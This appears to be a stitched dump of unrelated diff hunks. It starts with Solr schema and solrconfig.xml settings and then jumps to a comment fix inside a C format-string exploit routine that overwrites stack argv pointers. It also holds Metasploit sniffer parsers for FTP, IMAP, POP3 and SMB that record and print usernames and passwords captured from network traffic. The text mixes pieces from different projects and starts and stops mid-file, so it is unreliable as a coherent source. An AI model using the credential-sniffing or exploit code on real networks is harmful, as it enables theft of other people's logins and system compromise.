<field name="_nest_path_" type="_nest_path_" /><fieldType name="_nest_path_" class="solr.NestPathField" />
|
||||
<field name="_text_" type="text_general" indexed="true" stored="false" multiValued="true"/>
|
||||
<dynamicField name="*_i" type="pint" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_is" type="pints" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_s" type="string" indexed="true" stored="true" />
|
||||
<dynamicField name="*_ss" type="strings" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_l" type="plong" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_ls" type="plongs" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_t" type="text_general" indexed="true" stored="true" multiValued="false"/>
|
||||
<dynamicField name="*_txt" type="text_general" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_b" type="boolean" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_bs" type="booleans" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_f" type="pfloat" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_fs" type="pfloats" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_d" type="pdouble" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_ds" type="pdoubles" indexed="true" stored="true"/>
|
||||
<dynamicField name="random_*" type="random"/>
|
||||
<dynamicField name="ignored_*" type="ignored"/>
|
||||
<dynamicField name="*_str" type="strings" stored="false" docValues="true" indexed="false" useDocValuesAsStored="false"/>
|
||||
<dynamicField name="*_dt" type="pdate" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dts" type="pdate" indexed="true" stored="true" multiValued="true"/>
|
||||
<dynamicField name="*_p" type="location" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_srpt" type="location_rpt" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dpf" type="delimited_payloads_float" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dpi" type="delimited_payloads_int" indexed="true" stored="true"/>
|
||||
<dynamicField name="*_dps" type="delimited_payloads_string" indexed="true" stored="true"/>
|
||||
<dynamicField name="attr_*" type="text_general" indexed="true" stored="true" multiValued="true"/>
|
||||
<uniqueKey>id</uniqueKey>
|
||||
<fieldType name="string" class="solr.StrField" sortMissingLast="true" docValues="true" />
|
||||
<fieldType name="strings" class="solr.StrField" sortMissingLast="true" multiValued="true" docValues="true" />
|
||||
<fieldType name="boolean" class="solr.BoolField" sortMissingLast="true"/>
|
||||
<fieldType name="booleans" class="solr.BoolField" sortMissingLast="true" multiValued="true"/>
|
||||
<fieldType name="pint" class="solr.IntPointField" docValues="true"/>
|
||||
<fieldType name="pfloat" class="solr.FloatPointField" docValues="true"/>
|
||||
<fieldType name="plong" class="solr.LongPointField" docValues="true"/>
|
||||
<fieldType name="pdouble" class="solr.DoublePointField" docValues="true"/>
|
||||
<fieldType name="pints" class="solr.IntPointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="pfloats" class="solr.FloatPointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="plongs" class="solr.LongPointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="pdoubles" class="solr.DoublePointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="random" class="solr.RandomSortField" indexed="true"/>
|
||||
<fieldType name="ignored" stored="false" indexed="false" multiValued="true" class="solr.StrField" />
|
||||
<fieldType name="pdate" class="solr.DatePointField" docValues="true"/>
|
||||
<fieldType name="pdates" class="solr.DatePointField" docValues="true" multiValued="true"/>
|
||||
<fieldType name="binary" class="solr.BinaryField"/>
|
||||
<fieldType name="rank" class="solr.RankField"/>
|
||||
<dynamicField name="*_ws" type="text_ws" indexed="true" stored="true"/>
|
||||
<fieldType name="text_ws" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<fieldType name="text_general" class="solr.TextField" positionIncrementGap="100" multiValued="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_t_sort" type="text_gen_sort" indexed="true" stored="true" multiValued="false"/>
|
||||
<dynamicField name="*_txt_sort" type="text_gen_sort" indexed="true" stored="true"/>
|
||||
<fieldType name="text_gen_sort" class="solr.SortableTextField" positionIncrementGap="100" multiValued="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_en" type="text_en" indexed="true" stored="true"/>
|
||||
<fieldType name="text_en" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="englishPossessive"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="englishPossessive"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_en_split" type="text_en_splitting" indexed="true" stored="true"/>
|
||||
<fieldType name="text_en_splitting" class="solr.TextField" positionIncrementGap="100" autoGeneratePhraseQueries="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="1" generateNumberParts="1" catenateWords="1" catenateNumbers="1" catenateAll="0" splitOnCaseChange="1"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
<filter name="flattenGraph" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="stop"
|
||||
ignoreCase="true"
|
||||
words="lang/stopwords_en.txt"
|
||||
/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="1" generateNumberParts="1" catenateWords="0" catenateNumbers="0" catenateAll="0" splitOnCaseChange="1"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_en_split_tight" type="text_en_splitting_tight" indexed="true" stored="true"/>
|
||||
<fieldType name="text_en_splitting_tight" class="solr.TextField" positionIncrementGap="100" autoGeneratePhraseQueries="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="false"/>
|
||||
<filter name="stop" ignoreCase="true" words="lang/stopwords_en.txt"/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="0" generateNumberParts="0" catenateWords="1" catenateNumbers="1" catenateAll="0"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="englishMinimalStem"/>
|
||||
<filter name="removeDuplicates"/>
|
||||
<filter name="flattenGraph" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="false"/>
|
||||
<filter name="stop" ignoreCase="true" words="lang/stopwords_en.txt"/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="0" generateNumberParts="0" catenateWords="1" catenateNumbers="1" catenateAll="0"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="englishMinimalStem"/>
|
||||
<filter name="removeDuplicates"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_rev" type="text_general_rev" indexed="true" stored="true"/>
|
||||
<fieldType name="text_general_rev" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
<filter name="reversedWildcard" withOriginal="true"
|
||||
maxPosAsterisk="3" maxPosQuestion="2" maxFractionAsterisk="0.33"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_phon_en" type="phonetic_en" indexed="true" stored="true"/>
|
||||
<fieldType name="phonetic_en" stored="false" indexed="true" class="solr.TextField" >
|
||||
<analyzer>
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="doubleMetaphone" inject="false"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_s_lower" type="lowercase" indexed="true" stored="true"/>
|
||||
<fieldType name="lowercase" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer>
|
||||
<tokenizer name="keyword"/>
|
||||
<filter name="lowercase" />
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_descendent_path" type="descendent_path" indexed="true" stored="true"/>
|
||||
<fieldType name="descendent_path" class="solr.TextField">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="pathHierarchy" delimiter="/" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="keyword" />
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_ancestor_path" type="ancestor_path" indexed="true" stored="true"/>
|
||||
<fieldType name="ancestor_path" class="solr.TextField">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="keyword" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="pathHierarchy" delimiter="/" />
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_point" type="point" indexed="true" stored="true"/>
|
||||
<fieldType name="point" class="solr.PointType" dimension="2" subFieldSuffix="_d"/>
|
||||
<fieldType name="location" class="solr.LatLonPointSpatialField" docValues="true"/>
|
||||
<fieldType name="location_rpt" class="solr.SpatialRecursivePrefixTreeFieldType"
|
||||
geo="true" distErrPct="0.025" maxDistErr="0.001" distanceUnits="kilometers" />
|
||||
<fieldType name="delimited_payloads_float" stored="false" indexed="true" class="solr.TextField">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="delimitedPayload" encoder="float"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<fieldType name="delimited_payloads_int" stored="false" indexed="true" class="solr.TextField">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="delimitedPayload" encoder="integer"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<fieldType name="delimited_payloads_string" stored="false" indexed="true" class="solr.TextField">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="delimitedPayload" encoder="identity"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_cjk" type="text_cjk" indexed="true" stored="true"/>
|
||||
<fieldType name="text_cjk" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer>
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="CJKWidth"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="CJKBigram"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
</schema>
|
||||
@@ -0,0 +1,262 @@
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<config>
|
||||
<luceneMatchVersion>9.0</luceneMatchVersion>
|
||||
<dataDir>${solr.data.dir:}</dataDir>
|
||||
<directoryFactory name="DirectoryFactory"
|
||||
class="${solr.directoryFactory:solr.NRTCachingDirectoryFactory}"/>
|
||||
<codecFactory class="solr.SchemaCodecFactory"/>
|
||||
<indexConfig>
|
||||
<lockType>${solr.lock.type:native}</lockType>
|
||||
</indexConfig>
|
||||
<updateHandler class="solr.DirectUpdateHandler2">
|
||||
|
||||
<updateLog>
|
||||
<str name="dir">${solr.ulog.dir:}</str>
|
||||
<int name="numVersionBuckets">${solr.ulog.numVersionBuckets:65536}</int>
|
||||
</updateLog>
|
||||
|
||||
<autoCommit>
|
||||
<maxTime>${solr.autoCommit.maxTime:15000}</maxTime>
|
||||
<openSearcher>false</openSearcher>
|
||||
</autoCommit>
|
||||
|
||||
<autoSoftCommit>
|
||||
<maxTime>${solr.autoSoftCommit.maxTime:-1}</maxTime>
|
||||
</autoSoftCommit>
|
||||
|
||||
</updateHandler>
|
||||
|
||||
<query>
|
||||
|
||||
<maxBooleanClauses>${solr.max.booleanClauses:1024}</maxBooleanClauses>
|
||||
|
||||
<filterCache size="512"
|
||||
initialSize="512"
|
||||
autowarmCount="0"/>
|
||||
<queryResultCache size="512"
|
||||
initialSize="512"
|
||||
autowarmCount="0"/>
|
||||
|
||||
<documentCache size="512"
|
||||
initialSize="512"
|
||||
autowarmCount="0"/>
|
||||
|
||||
<cache name="perSegFilter"
|
||||
class="solr.CaffeineCache"
|
||||
size="10"
|
||||
initialSize="0"
|
||||
autowarmCount="10"
|
||||
regenerator="solr.NoOpRegenerator" />
|
||||
|
||||
<enableLazyFieldLoading>true</enableLazyFieldLoading>
|
||||
|
||||
<queryResultWindowSize>20</queryResultWindowSize>
|
||||
|
||||
<queryResultMaxDocsCached>200</queryResultMaxDocsCached>
|
||||
|
||||
<listener event="newSearcher" class="solr.QuerySenderListener">
|
||||
<arr name="queries">
|
||||
</arr>
|
||||
</listener>
|
||||
<listener event="firstSearcher" class="solr.QuerySenderListener">
|
||||
<arr name="queries">
|
||||
</arr>
|
||||
</listener>
|
||||
|
||||
<useColdSearcher>false</useColdSearcher>
|
||||
|
||||
</query>
|
||||
|
||||
<circuitBreakers enabled="true">
|
||||
|
||||
</circuitBreakers>
|
||||
|
||||
<requestDispatcher>
|
||||
|
||||
<httpCaching never304="true" />
|
||||
</requestDispatcher>
|
||||
|
||||
<requestHandler name="/select" class="solr.SearchHandler">
|
||||
<lst name="defaults">
|
||||
<str name="echoParams">explicit</str>
|
||||
<int name="rows">10</int>
|
||||
</lst>
|
||||
</requestHandler>
|
||||
<requestHandler name="/query" class="solr.SearchHandler">
|
||||
<lst name="defaults">
|
||||
<str name="echoParams">explicit</str>
|
||||
<str name="wt">json</str>
|
||||
<str name="indent">true</str>
|
||||
</lst>
|
||||
</requestHandler>
|
||||
<initParams path="/update/**,/query,/select,/spell">
|
||||
<lst name="defaults">
|
||||
<str name="df">_text_</str>
|
||||
</lst>
|
||||
</initParams>
|
||||
<searchComponent name="spellcheck" class="solr.SpellCheckComponent">
|
||||
<str name="queryAnalyzerFieldType">text_general</str>
|
||||
<lst name="spellchecker">
|
||||
<str name="name">default</str>
|
||||
<str name="field">_text_</str>
|
||||
<str name="classname">solr.DirectSolrSpellChecker</str>
|
||||
<str name="distanceMeasure">internal</str>
|
||||
<float name="accuracy">0.5</float>
|
||||
<int name="maxEdits">2</int>
|
||||
<int name="minPrefix">1</int>
|
||||
<int name="maxInspections">5</int>
|
||||
<int name="minQueryLength">4</int>
|
||||
<float name="maxQueryFrequency">0.01</float>
|
||||
</lst>
|
||||
</searchComponent>
|
||||
<requestHandler name="/spell" class="solr.SearchHandler" startup="lazy">
|
||||
<lst name="defaults">
|
||||
<str name="spellcheck.dictionary">default</str>
|
||||
<str name="spellcheck">on</str>
|
||||
<str name="spellcheck.extendedResults">true</str>
|
||||
<str name="spellcheck.count">10</str>
|
||||
<str name="spellcheck.alternativeTermCount">5</str>
|
||||
<str name="spellcheck.maxResultsForSuggest">5</str>
|
||||
<str name="spellcheck.collate">true</str>
|
||||
<str name="spellcheck.collateExtendedResults">true</str>
|
||||
<str name="spellcheck.maxCollationTries">10</str>
|
||||
<str name="spellcheck.maxCollations">5</str>
|
||||
</lst>
|
||||
<arr name="last-components">
|
||||
<str>spellcheck</str>
|
||||
</arr>
|
||||
</requestHandler>
|
||||
<searchComponent class="solr.HighlightComponent" name="highlight">
|
||||
<highlighting>
|
||||
<fragmenter name="gap"
|
||||
default="true"
|
||||
class="solr.highlight.GapFragmenter">
|
||||
<lst name="defaults">
|
||||
<int name="hl.fragsize">100</int>
|
||||
</lst>
|
||||
</fragmenter>
|
||||
|
||||
<fragmenter name="regex"
|
||||
class="solr.highlight.RegexFragmenter">
|
||||
<lst name="defaults">
|
||||
<int name="hl.fragsize">70</int>
|
||||
<float name="hl.regex.slop">0.5</float>
|
||||
<str name="hl.regex.pattern">[-\w ,/\n\"']{20,200}</str>
|
||||
</lst>
|
||||
</fragmenter>
|
||||
<formatter name="html"
|
||||
default="true"
|
||||
class="solr.highlight.HtmlFormatter">
|
||||
<lst name="defaults">
|
||||
<str name="hl.simple.pre"><![CDATA[<em>]]></str>
|
||||
<str name="hl.simple.post"><![CDATA[</em>]]></str>
|
||||
</lst>
|
||||
</formatter>
|
||||
<encoder name="html"
|
||||
class="solr.highlight.HtmlEncoder" />
|
||||
|
||||
<fragListBuilder name="simple"
|
||||
class="solr.highlight.SimpleFragListBuilder"/>
|
||||
|
||||
<fragListBuilder name="single"
|
||||
class="solr.highlight.SingleFragListBuilder"/>
|
||||
|
||||
<fragListBuilder name="weighted"
|
||||
default="true"
|
||||
class="solr.highlight.WeightedFragListBuilder"/>
|
||||
|
||||
<fragmentsBuilder name="default"
|
||||
default="true"
|
||||
class="solr.highlight.ScoreOrderFragmentsBuilder">
|
||||
</fragmentsBuilder>
|
||||
|
||||
<fragmentsBuilder name="colored"
|
||||
class="solr.highlight.ScoreOrderFragmentsBuilder">
|
||||
<lst name="defaults">
|
||||
<str name="hl.tag.pre"><![CDATA[
|
||||
<b style="background:yellow">,<b style="background:lawgreen">,
|
||||
<b style="background:aquamarine">,<b style="background:magenta">,
|
||||
<b style="background:palegreen">,<b style="background:coral">,
|
||||
<b style="background:wheat">,<b style="background:khaki">,
|
||||
<b style="background:lime">,<b style="background:deepskyblue">]]></str>
|
||||
<str name="hl.tag.post"><![CDATA[</b>]]></str>
|
||||
</lst>
|
||||
</fragmentsBuilder>
|
||||
|
||||
<boundaryScanner name="default"
|
||||
default="true"
|
||||
class="solr.highlight.SimpleBoundaryScanner">
|
||||
<lst name="defaults">
|
||||
<str name="hl.bs.maxScan">10</str>
|
||||
<str name="hl.bs.chars">.,!? 	 </str>
|
||||
</lst>
|
||||
</boundaryScanner>
|
||||
|
||||
<boundaryScanner name="breakIterator"
|
||||
class="solr.highlight.BreakIteratorBoundaryScanner">
|
||||
<lst name="defaults">
|
||||
<str name="hl.bs.type">WORD</str>
|
||||
<str name="hl.bs.language">en</str>
|
||||
<str name="hl.bs.country">US</str>
|
||||
</lst>
|
||||
</boundaryScanner>
|
||||
</highlighting>
|
||||
</searchComponent>
|
||||
|
||||
<updateProcessor class="solr.UUIDUpdateProcessorFactory" name="uuid"/>
|
||||
<updateProcessor class="solr.RemoveBlankFieldUpdateProcessorFactory" name="remove-blank"/>
|
||||
<updateProcessor class="solr.FieldNameMutatingUpdateProcessorFactory" name="field-name-mutating">
|
||||
<str name="pattern">[^\w-\.]</str>
|
||||
<str name="replacement">_</str>
|
||||
</updateProcessor>
|
||||
<updateProcessor class="solr.ParseBooleanFieldUpdateProcessorFactory" name="parse-boolean"/>
|
||||
<updateProcessor class="solr.ParseLongFieldUpdateProcessorFactory" name="parse-long"/>
|
||||
<updateProcessor class="solr.ParseDoubleFieldUpdateProcessorFactory" name="parse-double"/>
|
||||
<updateProcessor class="solr.ParseDateFieldUpdateProcessorFactory" name="parse-date">
|
||||
<arr name="format">
|
||||
<str>yyyy-MM-dd['T'[HH:mm[:ss[.SSS]][z</str>
|
||||
<str>yyyy-MM-dd['T'[HH:mm[:ss[,SSS]][z</str>
|
||||
<str>yyyy-MM-dd HH:mm[:ss[.SSS]][z</str>
|
||||
<str>yyyy-MM-dd HH:mm[:ss[,SSS]][z</str>
|
||||
<str>[EEE, ]dd MMM yyyy HH:mm[:ss] z</str>
|
||||
<str>EEEE, dd-MMM-yy HH:mm:ss z</str>
|
||||
<str>EEE MMM ppd HH:mm:ss [z ]yyyy</str>
|
||||
</arr>
|
||||
</updateProcessor>
|
||||
<updateProcessor class="solr.AddSchemaFieldsUpdateProcessorFactory" name="add-schema-fields">
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.String</str>
|
||||
<str name="fieldType">text_general</str>
|
||||
<lst name="copyField">
|
||||
<str name="dest">*_str</str>
|
||||
<int name="maxChars">256</int>
|
||||
</lst>
|
||||
<bool name="default">true</bool>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.Boolean</str>
|
||||
<str name="fieldType">booleans</str>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.util.Date</str>
|
||||
<str name="fieldType">pdates</str>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.Long</str>
|
||||
<str name="valueClass">java.lang.Integer</str>
|
||||
<str name="fieldType">plongs</str>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.Number</str>
|
||||
<str name="fieldType">pdoubles</str>
|
||||
</lst>
|
||||
</updateProcessor>
|
||||
|
||||
<updateRequestProcessorChain name="add-unknown-fields-to-the-schema" default="${update.autoCreateFields:true}"
|
||||
processor="uuid,remove-blank,field-name-mutating,parse-boolean,parse-long,parse-double,parse-date,add-schema-fields">
|
||||
<processor class="solr.LogUpdateProcessorFactory"/>
|
||||
<processor class="solr.DistributedUpdateProcessorFactory"/>
|
||||
<processor class="solr.RunUpdateProcessorFactory"/>
|
||||
</updateRequestProcessorChain>
|
||||
|
||||
</config>
|
||||
@@ -553,7 +553,7 @@ void createStackWriteFormatString(
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Write the LABEL 6 more times, thus multiplying the the single
|
||||
// Write the LABEL 6 more times, thus multiplying the single
|
||||
// byte write pointer to an 8-byte aligned argv-list pointer and
|
||||
// update argv[0] to point to argv[1..n].
|
||||
writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
|
||||
|
||||
@@ -40,7 +40,16 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
if(s[:user] and s[:pass])
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Response code 5 from server",
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
|
||||
s[:pass] = ""
|
||||
@@ -49,7 +58,16 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :login_pass
|
||||
if(s[:user] and s[:pass])
|
||||
report_auth_info(s)
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Response code 230 from server",
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
# Remove it form the session objects so freeup memory
|
||||
sessions.delete(s[:session])
|
||||
|
||||
@@ -44,7 +44,16 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
when :login_pass
|
||||
|
||||
report_auth_info(s)
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability OK reponse from server",
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
@@ -52,14 +61,32 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability NO response from server",
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
|
||||
when :login_bad
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability BAD response from server",
|
||||
:status => Metasploit::Model::Login::Status::UNTRIED
|
||||
)
|
||||
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
|
||||
@@ -38,6 +38,10 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
case s[:last]
|
||||
when nil
|
||||
# Its the first +OK must include the banner, worst case its just +OK
|
||||
|
||||
# Strip the banner, so that we don't need to do it multiple times
|
||||
# We can improve the banner by removing the +OK part
|
||||
s[:banner] = matches.strip
|
||||
s[:info] = matches
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
@@ -52,8 +56,17 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
s[:extra] = "Successful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:name],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => s[:extra],
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
@@ -72,8 +85,17 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
|
||||
s[:proto]="pop3"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:proto],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => s[:extra],
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")
|
||||
s[:pass]=""
|
||||
end
|
||||
when nil
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
# When db is available reports go into db
|
||||
#
|
||||
|
||||
#Memo :
|
||||
#Memo :
|
||||
#FOR SMBV1
|
||||
# Authentification without extended security set
|
||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
|
||||
@@ -20,7 +20,7 @@
|
||||
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
|
||||
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
|
||||
#FOR SMBV2
|
||||
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
||||
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
||||
|
||||
class SnifferSMB < BaseProtocolParser
|
